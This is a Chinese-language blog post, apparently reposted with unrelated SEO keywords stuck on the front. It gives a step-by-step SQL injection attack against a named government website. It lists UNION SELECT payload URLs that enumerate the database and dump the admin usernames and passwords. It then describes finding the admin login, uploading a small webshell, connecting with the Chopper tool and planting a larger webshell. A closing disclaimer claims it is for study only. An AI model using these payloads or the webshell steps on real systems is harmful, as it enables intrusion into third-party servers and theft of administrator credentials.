电信宽带做网站,柳州论坛,网站首页建设公司,百度网站收入步骤一#xff1a; 利用阿D浏览器通过https#xff1a;//s.bt.gg 注入关键字扫描发现注入点#xff1a; http://www.rqyl.gov.cn/*****.php?ID153 用啊D跑不出账号密码 步骤二#xff1a; 手工注入http://www.rqyl.gov.cn/*****.php?ID153 and 11 、and12出错 猜字段ht…步骤一 利用阿D浏览器通过https//s.bt.gg 注入关键字扫描发现注入点 http://www.rqyl.gov.cn/*****.php?ID153 用啊D跑不出账号密码 步骤二 手工注入http://www.rqyl.gov.cn/*****.php?ID153 and 11 、and12出错 猜字段http://www.rqyl.gov.cn/*****.php?ID153 order by 17 查询错段 www.rqyl.gov.cn/*****.php?ID-153 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 version() 查询数据库版本 user() 查询当前用户 database查看数据库名 version_compile_os 查看服务器系统 www.rqyl.gov.cn/*****.php?ID-153 UNION SELECT 1,user(),3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17 爆出数据库中所有表 www.rqyl.gov.cn/*****.php?ID-153 UNION SELECT 1, group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema0x67313838343638---数据库转为十六进制 爆出admin里面的内容 www.rqyl.gov.cn/*****.php?ID-153 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name 0x61646D696E www.rqyl.gov.cn/*****.php?ID-153 UNION SELECT 1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17 from admin 用工具找后台登陆 上传小马 找到小马的上传地址 用菜刀连接 在存放网页文件php 处新建文件 把大马考进来 声明本文章仅供学习参考不得对目标站点进行攻击否则后果自负与本人无关转载于:https://www.cnblogs.com/kanghongsec/p/4796320.html
